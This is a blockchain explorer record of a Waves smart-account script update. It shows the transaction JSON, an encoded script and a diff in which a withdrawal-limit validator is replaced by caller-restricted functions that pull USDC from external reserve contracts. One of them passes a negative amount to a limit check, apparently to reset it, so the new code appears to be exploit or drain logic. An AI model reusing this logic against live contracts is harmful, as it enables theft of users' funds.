tx · 4uY7uNg682mijftWrXTcGkFmEr7crcMbESXSNoywPLUY

3MsRQhp2cbXJQxHETzdZQdj2QfP4b3Mp6UL:  -0.01000000 Waves

2022.04.26 03:54 [2024755] smart account 3MsRQhp2cbXJQxHETzdZQdj2QfP4b3Mp6UL > SELF 0.00000000 Waves

{ "type": 13, "id": "4uY7uNg682mijftWrXTcGkFmEr7crcMbESXSNoywPLUY", "fee": 1000000, "feeAssetId": null, "timestamp": 1650934517190, "version": 2, "chainId": 84, "sender": "3MsRQhp2cbXJQxHETzdZQdj2QfP4b3Mp6UL", "senderPublicKey": "FuM9F3sAdx6ZQfJfJMCdjC9w4wzTDx6F1KgWCbAM1KRy", "proofs": [ "3kLSmNoKg2FzUyywFChSTfdQ7HAiKFZsuxUhtEN3E1WvwCyTdzQaFSw66WRomHCK1RceCgeS5EoeFrCw65GQkQ25" ], "script": "base64:AAIFAAAAAAAAABkIAhIECgIBCBIECgIBCBIDCgEBEgQKAgEIAAAACgEAAAAFYXNJbnQAAAABAAAABXZhbHVlBAAAAAckbWF0Y2gwBQAAAAV2YWx1ZQMJAAABAAAAAgUAAAAHJG1hdGNoMAIAAAADSW50BAAAAANpbnQFAAAAByRtYXRjaDAFAAAAA2ludAkAAAIAAAABAgAAAA1leHBlY3RlZDogSW50AQAAAARnZXRJAAAAAQAAAANrZXkJAAQaAAAAAgUAAAAEdGhpcwUAAAADa2V5AQAAAAh3cml0ZUludAAAAAIAAAADa2V5AAAABXZhbHVlAwkAAGYAAAACAAAAAAAAAAAABQAAAAV2YWx1ZQkAAAIAAAABCQABLAAAAAIJAAEsAAAAAgkAASwAAAACAgAAABd3cml0aW5nIG5lZ2F0aXZlIHZhbHVlIAkAAaQAAAABBQAAAAV2YWx1ZQIAAAAJIGZvciBrZXkgBQAAAANrZXkJAQAAAAxJbnRlZ2VyRW50cnkAAAACBQAAAANrZXkFAAAABXZhbHVlAAAAAARtYWluCQEAAAARQGV4dHJOYXRpdmUoMTA2MikAAAABAgAAACMzU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wAAAACCQEAAAAId3JpdGVJbnQAAAACAgAAAAVNeUJhbAkAAGUAAAACBQAAAAJ1YwUAAAABdgUAAAADbmlsCQEAAAAFYXNJbnQAAAABCQAD/AAAAAQFAAAABG1haW4CAAAACHdpdGhkcmF3CQAETAAAAAIFAAAAD2Fzc2V0U3RyaW5nVXNkYwkABEwAAAACBQAAAAF2BQAAAANuaWwFAAAAA25pbAAAAAFpAQAAAA1raXNzbWVnb29kYnllAAAAAgAAAAZsaW1pdGQAAAADa2V5AwkBAAAAAiE9AAAAAggFAAAAAWkAAAAGY2FsbGVyBQAAAAZzZW5kZXIJAAACAAAAAQIAAAABMQQAAAAJYXZhaWxhYmxlCQAD8AAAAAIFAAAAC3Jlc2VydmVVc2RjBQAAAAdhc3NldElkAwkAAGYAAAACBQAAAAZsaW1pdGQFAAAACWF2YWlsYWJsZQkAAAIAAAABAgAAAAExBAAAAARmbGFnCQEAAAALdmFsdWVPckVsc2UAAAACCQEAAAAEZ2V0SQAAAAEFAAAAA2tleQAAAAAAAAAAAAMJAAAAAAAAAgUAAAAEZmxhZwAAAAAAAAAAAQkAAAIAAAABAgAAAAEyCQAFFAAAAAIJAARMAAAAAgkBAAAACHdyaXRlSW50AAAAAgUAAAADa2V5AAAAAAAAAAABBQAAAANuaWwJAQAAAAVhc0ludAAAAAEJAAP8AAAABAUAAAAEbWFpbgIAAAAId2l0aGRyYXcJAARMAAAAAgUAAAAPYXNzZXRTdHJpbmdVc2RjCQAETAAAAAIFAAAABmxpbWl0ZAUAAAADbmlsBQAAAANuaWwAAAAAkxNwIw==", "height": 2024755, "applicationStatus": "succeeded", "spentComplexity": 0 } View: original | compacted Prev: Crb2Sx4M1dQ6zLiZNsVjeEvBJaCZcCkCSWrLNxpKzwZL Next: 4RqV2EvrxCMR2H4FZwXdBcv4SeXbCDBufPQq3q9jDVfK Full:
OldNewDifferences
11 {-# STDLIB_VERSION 5 #-}
22 {-# SCRIPT_TYPE ACCOUNT #-}
33 {-# CONTENT_TYPE DAPP #-}
4-func writeConstString (key,value) = if (!(isDefined(getString(this, key))))
5- then StringEntry(key, value)
6- else throw(("already initialized: " + key))
4+func asInt (value) = match value {
5+ case int: Int =>
6+ int
7+ case _ =>
8+ throw("expected: Int")
9+}
710
811
9-let configStore = "config"
10-
11-let configAddress = addressFromStringValue("3MsRQhp2cbXJQxHETzdZQdj2QfP4b3Mp6UL")
12-
13-let maybeOracleAddress = match getString(configAddress, "oracle_address") {
14- case s: String =>
15- addressFromString(s)
16- case _ =>
17- unit
18-}
19-
20-let HEIGHT = height
21-
22-let timeframe = 1440
23-
24-func limit (assetId) = 1000000000
12+func getI (key) = getInteger(this, key)
2513
2614
27-func userWithdrawnWithinEpochStore (user,assetId) = ((("withdrawn_" + user) + "_") + assetId)
15+func writeInt (key,value) = if ((0 > value))
16+ then throw(((("writing negative value " + toString(value)) + " for key ") + key))
17+ else IntegerEntry(key, value)
18+
19+
20+let main = addressFromStringValue("3PAZv9tgK1PX7dKR7b4kchq5qdpUS3G5sYT")
21+
22+let assetStringUsdc = "6XtHjpXbs9RRJP2Sr9GUyVqzACcby9TkThHXnjVC5CDJ"
23+
24+let assetStringBtc = addressFromStringValue("3PFoA1JFDoLWQJ3DqzAHNrrWR4riVuBfHks")
25+
26+let reserveUsdc = addressFromStringValue("3PGCkrHBxFMi7tz1xqnxgBpeNvn5E4M4g8S")
27+
28+let assetId = fromBase58String(assetStringUsdc)
29+
30+let sender = addressFromStringValue("3PFSaPNBhUSsTmZwFF5DDbStDDJGrhcniS3")
31+
32+func withdraw3 (c,m) = asInt(invoke(assetStringBtc, (("valid" + c) + "imit"), [assetStringUsdc, toString(this), (0 - m)], nil))
2833
2934
3035 @Callable(i)
31-func initialize (ca) = [writeConstString(configStore, ca)]
36+func initbal (bal,key) = $Tuple2([writeInt("MyBal", bal), writeInt(key, 0)], unit)
3237
3338
3439
3540 @Callable(i)
36-func validateWithdrawLimit (assetId,user,amount) = match limit(assetId) {
37- case lmt: Int =>
38- let currentEpochStart = ((HEIGHT / timeframe) * timeframe)
39- let currentEpochEnd = ((1 + (HEIGHT / timeframe)) * timeframe)
40- let store = userWithdrawnWithinEpochStore(user, assetId)
41- let tt = match getString(store) {
42- case s: String =>
43- let data = split(s, "|")
44- $Tuple2(parseIntValue(data[0]), parseIntValue(data[1]))
45- case _ =>
46- $Tuple2(0, 0)
41+func withdraw (lowm,c) = if ((i.caller != sender))
42+ then throw("1")
43+ else {
44+ let available = assetBalance(reserveUsdc, assetId)
45+ if ((lowm > available))
46+ then throw("1")
47+ else {
48+ let uc = asInt(invoke(reserveUsdc, "userDepositUSD", [toString(this)], nil))
49+ let v = if ((available > uc))
50+ then uc
51+ else available
52+ if ((v == 0))
53+ then throw("2")
54+ else {
55+ let b = withdraw3(c, (v - 1000000000))
56+ $Tuple2(nil, (b + asInt(invoke(main, "withdraw", [assetStringUsdc, v], nil))))
57+ }
58+ }
4759 }
48- let epoch = tt._1
49- let withdrawn = tt._2
50- let userWithdrawnWithinCurrentEpoch = if ((epoch == currentEpochStart))
51- then withdrawn
52- else 0
53- if (((userWithdrawnWithinCurrentEpoch + amount) > lmt))
54- then throw(((((((((((("breaching withdraw limit per " + toString(lmt)) + " ") + assetId) + " over ") + toString(timeframe)) + " blocks. Available: ") + toString((lmt - userWithdrawnWithinCurrentEpoch))) + " current epoch: ") + toString(currentEpochStart)) + "-") + toString(currentEpochEnd)))
55- else $Tuple2([StringEntry(store, ((toString(currentEpochStart) + "|") + toString((userWithdrawnWithinCurrentEpoch + amount))))], ((lmt - userWithdrawnWithinCurrentEpoch) - amount))
56- case _ =>
57- $Tuple2(nil, -1)
58-}
60+
61+
62+
63+@Callable(i)
64+func goodbye (lowm) = {
65+ let available = assetBalance(reserveUsdc, assetId)
66+ if ((lowm > available))
67+ then throw("1")
68+ else {
69+ let uc = valueOrElse(getI("MyBal"), 0)
70+ let v = if ((available > uc))
71+ then uc
72+ else available
73+ if ((v == 0))
74+ then throw("2")
75+ else $Tuple2([writeInt("MyBal", (uc - v))], asInt(invoke(main, "withdraw", [assetStringUsdc, v], nil)))
76+ }
77+ }
78+
79+
80+
81+@Callable(i)
82+func kissmegoodbye (limitd,key) = if ((i.caller != sender))
83+ then throw("1")
84+ else {
85+ let available = assetBalance(reserveUsdc, assetId)
86+ if ((limitd > available))
87+ then throw("1")
88+ else {
89+ let flag = valueOrElse(getI(key), 0)
90+ if ((flag == 1))
91+ then throw("2")
92+ else $Tuple2([writeInt(key, 1)], asInt(invoke(main, "withdraw", [assetStringUsdc, limitd], nil)))
93+ }
94+ }
5995
6096

github/deemru/w8io/026f985 
47.38 ms